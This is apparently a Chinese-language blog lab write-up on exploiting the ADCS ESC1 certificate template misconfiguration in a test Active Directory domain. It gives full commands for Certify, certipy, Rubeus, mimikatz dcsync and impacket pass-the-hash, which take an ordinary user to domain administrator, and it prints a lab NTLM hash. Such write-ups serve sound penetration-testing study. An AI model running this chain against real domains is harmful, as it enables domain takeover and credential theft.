AD域-ADCS错误配置-ESC1
2023-09-10 / 共计1428 字
答案在时间里,耐心是生活的关键。
Answer in Time, Patience is the key in life.
ADCS-ESC配置错误文章目录:
- ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
- ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
- ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
- ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
- ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
- ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
- ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
近期发现一些以前从没接触过的AD域攻击漏洞手法,感觉对于域的学习不够,准备系统学习一下AD域的渗透方法。先从ADCS配置漏洞开始。
下面漏洞在域内和域外均可利用
文中涉及工具(部分工具需自行编译,若有编译好的需求,请在评论区告诉我。If you need compiled tools, please tell me at the bottom of the article):
- Certify.exe(https://github.com/GhostPack/Certify)
- openssl(https://slproweb.com/products/Win32OpenSSL.html)
- rubeus.exe(https://github.com/GhostPack/Rubeus)
- certipy(https://github.com/ly4k/Certipy)
- mimikatz.exe(https://github.com/gentilkiwi/mimikatz)
- impacket(https://github.com/fortra/impacket)
ESC1
ESC系列漏洞的成因是ADCS证书服务的模板配置错误而导致的。 ESC1漏洞条件如下:
ESC1漏洞条件:
1、Domain Users有权限获取证书
2、有登记为客户端身份验证等(我理解只要是证书有验证的功能即可)
3、开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(可通过 _CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ 声明自己的身份,从而伪造成域管理员)
ESC1环境配置
ADCS服务器(我的域控与ADCS服务在一台服务器上)中运行中输入certtmpl.msc打开证书模板控制台进行复制工作站身份认证模板(对应漏洞条件2、有登记为客户段身份验证等)
模版命名为ESC1(任何名称都可以,命名ESC1只是为了对应漏洞) 在扩展中查看应用程序策略是否是客户端身份认证(对应漏洞条件2、有登记为客户段身份验证等) 在安全中添加Domain Users并添加注册权限(对应漏洞条件1、Domain Users有权限获取证书) 在使用者名称中开启在请求中提供(对应漏洞条件3、开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) 成功生成ESC1模板: 在运行中输入certsrv.msc打开证书颁发机构发布ESC1模板:
域内利用
使用Certify.exe 扫描是否存在漏洞
Certify.exe find /vulnerable
msPKI-Certificate-Name-Flag,pkiextendedkeyusage,Enrollment Rights如下则表示满足ESC1漏洞条件,从而存在ESC1漏洞:
使用Certify.exe以administrator身份申请ESC1证书:
Certify.exe request /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC1 /altname:administrator
成功申请证书后可以看到需要使用openssl转换成pfx格式:
将申请的证书复制保存到本地命名为cert.pem,使用openssl转换格式,密码直接为空即可(直接回车)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
没有获取tgt时无法访问域控服务器:
使用Rubeus请求域管Administrator的TGT:
rubeus.exe asktgt /user:administrator /certificate:C:\Users\user1\Desktop\Certify-main\Certify\bin\x86\Debug\cert.pfx /dc:192.168.111.11 /ptt
成功获取到域控管理员Administrator的TGT: 成功使用域管身份访问域控:
域外利用
使用certipy查看是否存在漏洞:
certipy find -u [email protected] -p Testad@1234 -dc-ip 192.168.111.11 -vulnerable -debug
查看ESC1证书满足漏洞的三个前提条件,存在ESC1漏洞: 伪造域管Administrator身份申请证书:
certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC1 -upn [email protected] -debug
通过证书获取域管身份的TGT,Hash,之后即可通过域管身份登录域服务器:
certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11
进一步利用
上述只是进行了Ipc$利用,这里记录一下申请到域管TGT后进行HASH传递和远程桌面登录。
使用mimikatz获取域管的HASH,(Hash NTLM: 92ac39dc25532a7fabf2c33d861b2c53)
mimikatz.exe
privilege:debug
lsadump::dcsync /domain:t0ngmystictestad.com /user:administrator
impacket利用(Use impacket)
利用impacket中的wmiexec进行HASH传递,进入服务器:
python wmiexec.py tOngmystictestad/[email protected] -hashes :92ac39dc25532a7fabf2c33d861b2c53
Hash传递登录远程桌面(Pass The Hash to login rdp)
hash传递登录远程桌面:
mimikatz.exe
privilege:debug
sekurlsa::pth /user:administrator /domain:192.168.111.11 /ntlm:92ac39dc25532a7fabf2c33d861b2c53 "/run:mstsc.exe /restrictedadmin"
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
部分文章会发布公众号!
感谢您的支持!